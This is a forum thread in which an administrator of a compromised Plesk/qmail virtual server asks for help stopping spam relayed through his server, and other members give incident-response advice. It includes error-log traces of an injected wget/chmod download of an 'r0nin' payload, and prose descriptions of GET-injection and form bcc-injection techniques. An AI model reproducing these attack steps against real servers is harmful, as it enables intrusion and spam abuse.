• If you are still using CentOS 7.9, it's time to convert to Alma 8 with the free centos2alma tool by Plesk or Plesk Migrator. Please let us know your experiences or concerns in this thread:
    CentOS2Alma discussion

HELP! How do I stop QMAIL hijacking by Spammer/HAcker? Calling for Jamesyeeoc!

Ok... here's some more stuff from my log files. These are from my "messages" log:

Feb 26 09:10:22 nhousemedia sshd(pam_unix)[8289]: authentication failure; logname= uid=0 euid=0 tty=NODEVssh ruser= rhost=quebec-hse-ppp241914.qc.sympatico.ca
there are LOTS of these... maybe the attempt to spam. Then this one looks like the point where the server caughed:
Feb 26 11:59:56 nhousemedia named[9602]: lame server resolving 'nis.dacom.co.kr' (in 'dacom.co.kr'?): 211.216.50.150#53
Feb 26 11:59:56 nhousemedia named[9602]: lame server resolving 'ns2.dacom.co.kr' (in 'dacom.co.kr'?): 211.216.50.150#53
Feb 26 12:00:19 nhousemedia named[9602]: lame server resolving 'nsz2.latnet.lv' (in 'lv'?): 159.148.108.2#53
Feb 26 12:00:25 nhousemedia named[9602]: lame server resolving '213.16.3.8.in-addr.arpa' (in '213.16.3.8.in-addr.arpa'?): 8.3.16.222#53
Feb 26 12:00:25 nhousemedia last message repeated 3 times
Feb 26 12:01:07 nhousemedia named[9602]: client 24.176.127.33#62692: updating zone 'hcpbe.com/IN': update failed: 'RRset exists (value dependent)' prerequisite not satisfied (NXRRSET)
Feb 26 12:01:07 nhousemedia named[9602]: client 24.176.127.33#62695: update 'hcpbe.com/IN' denied
Feb 26 12:02:38 nhousemedia xinetd[18276]: smtp: fork failed: Cannot allocate memory (errno = 12)
Feb 26 12:02:39 nhousemedia xinetd[18276]: smtp: fork failed: Cannot allocate memory (errno = 12)
Feb 26 12:02:39 nhousemedia syslogd: select: Cannot allocate memory
Feb 26 12:02:39 nhousemedia xinetd[18276]: smtp: fork failed: Cannot allocate memory (errno = 12)
Feb 26 12:02:39 nhousemedia xinetd[18276]: smtp: fork failed: Cannot allocate memory (errno = 12)
Feb 26 12:02:39 nhousemedia relaylock: /var/qmail/bin/relaylock: Unable to connect to the mysql database, relay will work in closed mode & white list will not work
Feb 26 12:02:40 nhousemedia syslogd: select: Cannot allocate memory
Feb 26 12:02:40 nhousemedia last message repeated 9 times
Feb 26 12:02:40 nhousemedia relaylock: /var/qmail/bin/relaylock: Unable to connect to the mysql database, relay will work in closed mode & white list will not work
Feb 26 12:02:40 nhousemedia named[9664]: socket.c:2100: fatal error:
Feb 26 12:02:40 nhousemedia named[9664]: select() failed: Cannot allocate memory
Feb 26 12:02:40 nhousemedia named[9664]: exiting (due to fatal error in library)
Feb 26 12:04:08 nhousemedia named: named shutdown failed
Feb 26 12:04:08 nhousemedia httpd: httpd shutdown succeeded
Feb 26 12:04:09 nhousemedia named: named shutdown failed
Feb 26 12:04:10 nhousemedia httpd: httpd shutdown failed
Feb 26 12:04:12 nhousemedia named[5090]: starting BIND 9.2.1 -u named -c /etc/named.conf -u named -t /var/named/run-root
Feb 26 12:04:12 nhousemedia named[5090]: using 1 CPU
Feb 26 12:04:12 nhousemedia named[5376]: loading configuration from '/etc/named.conf'
Feb 26 12:04:12 nhousemedia named[5376]: no IPv6 interfaces found
Feb 26 12:04:12 nhousemedia named[5376]: listening on IPv4 interface lo, 127.0.0.1#53
Feb 26 12:04:12 nhousemedia named[5376]: listening on IPv4 interface venet0:0, 68.178.156.20#53
Feb 26 12:04:12 nhousemedia named[5376]: listening on IPv4 interface venet0:1, 68.178.156.25#53
Feb 26 12:04:12 nhousemedia named[5376]: listening on IPv4 interface venet0:2, 68.178.156.26#53
Feb 26 12:04:12 nhousemedia named[5376]: listening on IPv4 interface venet0:3, 68.178.156.202#53
Feb 26 12:04:12 nhousemedia named[5376]: command channel listening on 127.0.0.1#953


This also happened...
Feb 26 12:04:12 nhousemedia httpd: WARNING: MaxClients of 400 exceeds ServerLimit value of 256 servers,
Feb 26 12:04:12 nhousemedia httpd: lowering MaxClients to 256. To increase, please see the ServerLimit

Ok, in the httpd.conf file, can I fix this by changing the ServerLimit to 400 as well? I don't want to mess this file up and I am a newbie to a lot of this.

NOW, this looks rather ominous... it comes from the error log and looks like someone tried to hack in but was denied... THEN it looks like something did get transferred?

chmod: failed to get attributes of `r0nin': No such file or directory
sh: line 1: /usr/bin/wget: Permission denied
chmod: failed to get attributes of `r0nin': No such file or directory
sh: line 1: /usr/bin/wget: Permission denied
chmod: failed to get attributes of `r0nin': No such file or directory
% Total % Received % Xferd Average Speed Time Curr.
Dload Upload Total Current Left Speed

0 761 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0
100 761 100 761 0 0 542 0 0:00:01 0:00:01 0:00:00 47562
% Total % Received % Xferd Average Speed Time Curr.
Dload Upload Total Current Left Speed

0 761 0 0 0 0 0 0 --:--:-- 0:00:00 --:--:-- 0
100 761 100 761 0 0 2193 0 0:00:00 0:00:00 0:00:00 371k
% Total % Received % Xferd Average Speed Time Curr.
Dload Upload Total Current Left Speed

0 761 0 0 0 0 0 0 --:--:-- 0:00:00 --:--:-- 0
100 761 100 761 0 0 1921 0 0:00:00 0:00:00 0:00:00 371k


How can this be???

Help?
 
Looks like they are trying to use the "R0nin" exploit on your server, and possibly other ones as well.

As long as your server is secure from exploitable code and not rooted or anything, then you may want to check with your DC to see if they can do any peripery blocking of the attack sources.

Ah, good point about the apparent FTP in the log, I almost overlooked that. Make sure you run RKHunter and CHRootkit. Same advice as earlier in the post, Secure the server, use layers of protection, use ART's ASL or at least mod_security, check for exploitable php code, etc, etc.


OT note: geez, the last time I was at this thread I had the flu, and now I have it again for the last 2 days.... bad omen...
Hope I'm making sense in this post.
 
Hey James... thanks for the reply. Man, I hate to hear about the flu thing again... oh, and please DON'T let that scare you off from these types of posts ;) . We appreciate your thoughts... and those of the other forum friends. I love to learn about all of this wonderful Linux stuff... but it always seems to be when it is a problem issue. Sounds familiar to a lot of you folks I'll bet.

By the way, what do you think about the virus angle?

PS: I hope I didn't make TOO many spelling errors... I just had some laser surgery on my good eye last Thursday. Whew! I need a bigger monitor!
 
Virus/Trojan/Worm - by whatever name you wish to call it, yes, it could be due to zombie PCs. But in any case, instead of increasing the httpd.conf settings to accomodate the attack (which will most likely still cause httpd to bomb out even at 400), block the offending IPs (even temporarily).

Did you ever install mod_security or ASL? (ASL includes mod_security) These can go a long way to helping to avert some of this.
 
Yeah, do not up the server limit. This will just let more **** get through.

Block the IP addresses in the firewall module (or any other method you feel comfortable with).

I have a report of major log activity emailed to me daily and I tend to block 3-5 IP's a day if they were trying brute force name based attacks on SSH and if they are foreign IP's. If they are in the states (where my client's clients are), I contact the ARIN abuse address listed for the IP.

Sorry, started babbling beyond the thread.

But yeah, take James' advice and run the detectors to see what has happened.

With GoDaddy, they were of no help and kept wiping it clean, but when I would restore anything it got brought back down. With APlus.Net, I have been very happy and have better control (full dedicated instead of Virtual Dedicated I had with GoDaddy).
 
Now, for some more of the story...

After reading your comments and some additional forum searching, I snooped around on my virtual server and did indeed find a nasty little perl (CGI) script living in my "tmp" directory. It was disguised to look like a "txt" file... it looked like this enviarpl.txt and along with it I found these two files... eng.htm and naosei010.txt which had a list of around 50,000 Brazilian email addresses in it... it's own address book. I am still VERY confused about how it got there though... anyway, here's more...

I was overjoyed! Woohoo... got 'er done! THEN, this morning the **** started up again. I looked in the "tmp" directory and the files were NOT there... hmmm? I suppose there may be others in another domain tmp directory... not sure. I battled the spam for about an hour then I decided to chmod the wget file to 700 as someone suggested. Obviously though, the file must already be on the server somewhere... so I figured, it must be another CGI / Perl script... so I disabled CGI for all of the domains, at least for now. This seems to have stopped it. I also went ahead and turned PHP safe_mode back on for the server. I had turned it off many weeks ago because I didn't know better and a PHP script I wanted to install fussed about it.

By the way, GoDaddy is very quick to remind you that as the server admin, it is my baby not theirs. Kinda makes you wonder what their "Expert Hands Support " team does all day long ;)

I'll continue the saga as it unfolds. I hope this dialog will help someone else when they pass this way.

PS: James, Mod Security isn't installed. Of course, GoDaddy won't assist with this either. So, I am seriously considering getting a true dedicated box and getting it setup "right," before I move things over.
 
I was overjoyed! Woohoo... got 'er done! THEN, this morning the **** started up again. I looked in the "tmp" directory and the files were NOT there... hmmm? I suppose there may be others in another domain tmp directory... not sure.
Yes, there are probably several more located in other folders, could be anywhere at this point.
I battled the spam for about an hour then I decided to chmod the wget file to 700 as someone suggested. Obviously though, the file must already be on the server somewhere...
wget is not the only way, and they may have uploaded another 'wget' like program under a different name by now.
so I figured, it must be another CGI / Perl script... so I disabled CGI for all of the domains, at least for now. This seems to have stopped it. I also went ahead and turned PHP safe_mode back on for the server. I had turned it off many weeks ago because I didn't know better and a PHP script I wanted to install fussed about it.
Yes, safe_mode is your friend... no matter what the client's claim or want/demand...
Mod Security isn't installed. Of course, GoDaddy won't assist with this either. So, I am seriously considering getting a true dedicated box and getting it setup "right," before I move things over
Yes, a dedicated server is IMO always the best way to go.

Make sure you setup and automate RKHunter and CHKRootkit (cronjob the daily updates and runs, email results to your admin account). This is good practice even if you're not currently rooted.

Good luck on this and let us know what else we can do to help you.
 
Thanks again for taking time to discuss this with me... I am pretty fed up with it at the moment BUT will have to make some decisions soon. When I get to all of the security stuff, I will undoubtably have a lot of questions. One more question for now though. GoDaddy's dedicated servers now come with an option to have a Cisco firewall, model 510 I think, installed with the server. Is this a good way to go? Or is it about the same to use the software based initiatives? Thoughts?
 
I usually prefer a hardware firewall since it offloads some of the work from the server, I don't usually totally disable the *nix firewall in any case (remember, security in layers). As long as you understand that the Cisco 510 is a discontinued product, and I believe it is past their 'end of life' as well, it should still be preferable to have it than not.

And as long as YOU have direct full access to the Cisco so you can program it, then it should be good.
 
Ak... the saga continues. :(

This morning I woke up to find that Qmail had been used once again to spam by the same process. I am almost at wits end. I am trying to figure out how to track down the user or process or whatever to point me in the right direction. when I look at these lines from the message log, how do I track down the culprit? Please review the questions below and comment.

Feb 27 22:53:46 nhousemedia pop3d: Connection, ip=[65.15.165.170]
Feb 27 22:53:46 nhousemedia pop3d: Connection, ip=[65.81.104.170]
Feb 27 22:53:46 nhousemedia qmail: 1141102426.394625 new msg 227647499
Feb 27 22:53:46 nhousemedia qmail: 1141102426.394703 info msg 227647499: bytes 3456 from <[email protected]> qp 19554 uid 48
Feb 27 22:53:46 nhousemedia qmail: 1141102426.401347 starting delivery 6851: msg 227647499 to remote [email protected]
Feb 27 22:53:46 nhousemedia qmail: 1141102426.401408 status: local 0/120 remote 1/120
Feb 27 22:53:46 nhousemedia qmail: 1141102426.416201 new msg 227647500
Feb 27 22:53:46 nhousemedia qmail: 1141102426.416277 info msg 227647500: bytes 3455 from <[email protected]> qp 19557 uid 48
Feb 27 22:53:46 nhousemedia qmail: 1141102426.418876 starting delivery 6852: msg 227647500 to remote [email protected]
Feb 27 22:53:46 nhousemedia qmail: 1141102426.418921 status: local 0/120 remote 2/120


1. the IP's that show up right before the spamming started... 65.15.165.170 and 65.81.104.170. They have the same time stamp as the first spam message from the mail log. Could this be one of my users who has their machine compromised... or possibly their email account has a password that is TOO simple?
2. with regards to the first spam message... I wonder if it is truly authenticating? Or, is it more likely that a malicious script is simply tapping into the Qmail processing some way?
3. how do I associate the "uid 48"? Can I pinpoint what script, process or user originated it? If so, how... in layman's terms.

Thanks to all who take time to assist us technically challenged :) I really am trying to learn, Master Po... :D
 
I had to throw in my 2cents as jamesyeeoc has been helping me a lot and doesn't even know it - very tech dude.

Anyway, too bad you can't get mod_security ging, that would definately tell you for sure what's up.

Here's the things to look for - is there a post form being spammed with "bcc:%20" in the POST payload. that's a tough one to find, but would explain lot's of mail in your queue. Check your mess queue - there is usually some hints in there.

Next thing to check is if http CONNECT is coming through in your logs. If that's not being blocked, that can also cause you some mail headaches. These were at one time in my logs on a 10-15 time/day basis. All connecting to Yahoo mailers, aol open port 25 servers, and hotmail.

Now, my final guess is, these are all .br mail addresses. Beleive it or not, if you aren't positive the worm has been cleaned, then it's still running and being accessed. I missed your O/S somewhere - but validate netstat -anp, check listening ports, and grep your secure log for the smtp and ssh attempts. readin through the history of this post - after you got rid of all the stuff in your /tmp did you get your xinetd service restarted?

I realize I am not the tech jamesyeeoc is, but I have battled many of the things youare now faced with - feeling more confident now with all of the suggestions of firewalling and paranoia! I hope any of this helps you - and remember, deny deny deny...well sort of!
 
Look, I appreciate all of the help I get here... I look forward to the day when I can do the same for other poor souls when I have the confidence to dish out more valid comments.

Now, I didn't mention the OS... sorry, James probably remembered from my previous posts or from the indications in the logs, comments, etc. I have RH9 / PSA 7.5.4 and the system is a virtual dedicated GoDaddy server.

The SPAM is all Brazilian from what I can tell. Of course, it may be propagated in Korea or somewhere.

Some of the stuff you are talking about I am unfamiliar with BUT having to learn fast. what does the "-anp" do after netstat? Also, how can I check for listening ports.. and what will that allert me to? Oh, after I cleaned out the tmp folder, I did restart qmail and xinetd and apache, I think.

Sorry you are dealing with such a newb here.
 
CreepingDeath -
I had to throw in my 2cents as jamesyeeoc has been helping me a lot and doesn't even know it - very tech dude
Thanks for the kind words, just wish I had more time to spend on these forums nowadays.

NHouse -
Look, I appreciate all of the help I get here... I look forward to the day when I can do the same for other poor souls when I have the confidence to dish out more valid comments.
No hurry Nick, we all have to learn by doing.
2. with regards to the first spam message... I wonder if it is truly authenticating? Or, is it more likely that a malicious script is simply tapping into the Qmail processing some way?
Most likely a script on the server, since it is 'local' there is no auth needed for it to do it's dirty work.
Now, I didn't mention the OS... sorry, James probably remembered from my previous posts or from the indications in the logs, comments, etc. I have RH9 / PSA 7.5.4 and the system is a virtual dedicated GoDaddy server.
Actually I didn't remember, but regardless of the exact *nix OS, most of the advice is still applicable. But if I had realized you were on a shared GoDaddy, I would not have harped so much on ASL/mod_security. Personally, I think hosting providers should already have server security in place since it's their servers. But don't get me started on that topic, we'd be here all year ranting... :)

The SPAM is all Brazilian from what I can tell. Of course, it may be propagated in Korea or somewhere.
If your hosted clients do not need to send/receive to those countries, you can always do a firewall block of the IP blocks (at least temporarily) until you get the server cleaned up and secured.

Some of the stuff you are talking about I am unfamiliar with BUT having to learn fast. what does the "-anp" do after netstat? Also, how can I check for listening ports.. and what will that allert me to? Oh, after I cleaned out the tmp folder, I did restart qmail and xinetd and apache, I think.
"man netstat" (snip)
-a, --all
Show both listening and non-listening sockets. With the --interfaces
option, show interfaces that are not marked
-n, --numeric
Show numerical addresses instead of trying to determine symbolic host,
port or user names.
-p, --program
Show the PID and name of the program to which each socket belongs.


Sorry you are dealing with such a newb here.
We were all newb's at one time or another.

Ah well, back to bed for me....
 
Thanks guys, that netstat -anp command does indeed show a lot of stuff! I think I like it! Now... not to beat a dead horse but if we can... let's go back to one specific question about UID.

in the following line from a log, does "uid 48" have a specific purpose... or does it actually identify a user... or a process within Qmail? It seems like all of the SPAM as that UID at the end of the line:
Feb 28 17:51:17 nhousemedia qmail: 1141170677.803573 info msg 227647496: bytes 3468 from <[email protected]> qp 6049 uid 48

Thanks...

ADDED: well, maybe another question... :D
Is there a way to search for specific "text" within all files on the server??? Kind of the way you can search a Windows box? If I could, then I might track down the @*$#*& files that the SPAMMER has plugged in to my server.

PS: In case you would like to block IP ranges from entire countries... I just stumbled on this link that will help you get them. Wouldn't you know it was there all the time ;)
http://www.dnsstuff.com/pages/testbed.htm
 
What makes communities great are how much we learn from each other! I'm always digging for more info on things...;-)

If you are allowed, you can run 'id' to get a listing of all on your server, and you can run 'groups' to find out who exists. Always run 'man id' or 'man groups' for useage. On some Linux systems, there is deeper docs by typing 'info id' or 'info groups'

You can do 'last -i' as root to find out who's been on the system. If you are seeing 'root' from IP's that are not you - that's an alarm! the '-i' shows the real IP address. You can run 'history | more' to see everything that has been issues from the command line. You can 'finger' accounts that are active, not much use for what you are probably dealing with. A great example of finding text in files is 'grep wget /var/www/vhosts/*.*/statistics/logs/access_log | more' this will return to you all of your virtual sites access_log that have matches of wget. Although wget is not the only way - you could look for 'curl' or 'fetch' - it seems to be the first and foremost attempt. do 'man grep' for docs. Grep will become your friend!!!

Now that I've told you that - it probably doesn't matter. If there is a malicious scrpit running, it could very well be running 'setuid' each time with a seeded value, so the number you might be chasing is a waste of time.

Okay, try this.

go to your mail queue directory and run 'du -sk * | sort -n' This will tell you the queues that are using the most diskspace. If your server sites do not typically process a lot of mail, then all of these directories listed should be close to the same size...strike that - I mean within 10's of bytes. If you have directories that are realtively huge, you are probably processing a lot of mail. remember to check 'mess' as well. If there is a lot of files in there, it's bad - but good for your detective work. Look in those files with a text editor. You will see what was attempted to be sent. It may also show you if you ahve sites running scripts that are security weak - in other words forms that may be getting POST var injected with 'bcc'

Something else -

Go back to '/tmp' - I'm guessing that if something is running it's there and hidden. Maybe this is too simple, but run 'ls -al' to get a full listing. Look for the folders that begin with '.' Do the same thing to any vhost tmp directories. I got confused through the thread if you were using safe-mode and open_basedir restrictions.

Another great blackhole site -

blackholes.us - they provide the ranges for all countries.

Something I saw from these same folks -

I went back to an old backup I had of a server infected by this same group. They are coming from Brazille, and it's a botnet exploit. I don't mind sharing this because it worked for us almost like a honeypot. They came in by injecting a GET payload with a string that would connect to another site and use wget. This was a server we had not completed hardening on. they connected back to a site in France 'ownzyou' and copied stuff into a hidden sub-directory in /tmp. After that, there were a few other files that contained about 5k email addresses in Brazille. We caught it pretty fast, and isolated everything. We did have to perform a restore on some files, but the damage was very minimal, and a great learning experience.

With you being on the VPS, I have no knowledge of how Virtuozzo works. If you are a Client on a dedicated Plesk, then you need to lean on GoDaddy a bit more.
 
Whew! Thanks... that is a lot of ammunition! I will try some of these things and let you know the results.
 
Hi jamesyeeoc, folks,
I don't usually make links to other posts, but from the posts I've read from you about authentication and the qmail, I think you could give us a BIG advice for our BIG issues with the queue at the qmail.

Please take a look at http://forum.swsoft.com/showthread.php?s=&threadid=31473 and let us know your suggestions. If you can offer us any type of direct support, I'll be more than glad to speak about that. Thanks in advance,
michael
 
Slightly OT but not entirely.

I looked at mod security but I have run into a small problem. Mod security requires APXS installed to work. The main server is Apache 2.0.x but for some reason has no APXS installed. Now APXS is installed on the Plesk Apache (1.3.x) but mod security has some problems if it's run under 1.3 instead of 2.0. I've looked around to try and find a method of getting APXS on without having to totally recompile Apache 2.0 (which I am concerned will break Plesk). Is there a way to get APXS on 2.0 or is it safe to install it on Plesk's 1.3?
 
Do be careful with the blacklist.conf and blacklist2.conf - there are so many redundancies and there is a know and discussed memory leak. It is directly related to those blacklists, not mod_security. I've proven it by editing and cleaning up my versions of those files. I have gotten my main one cleaned up quite a bit. It will be available on one of my download sites within a week or so - people can freely get it. I haven't delved into the blacklist2.conf, yet. I imagine with it being open to all to submit, no one really checks it out or uses the regular expressions to their fullest!
 
Back
Top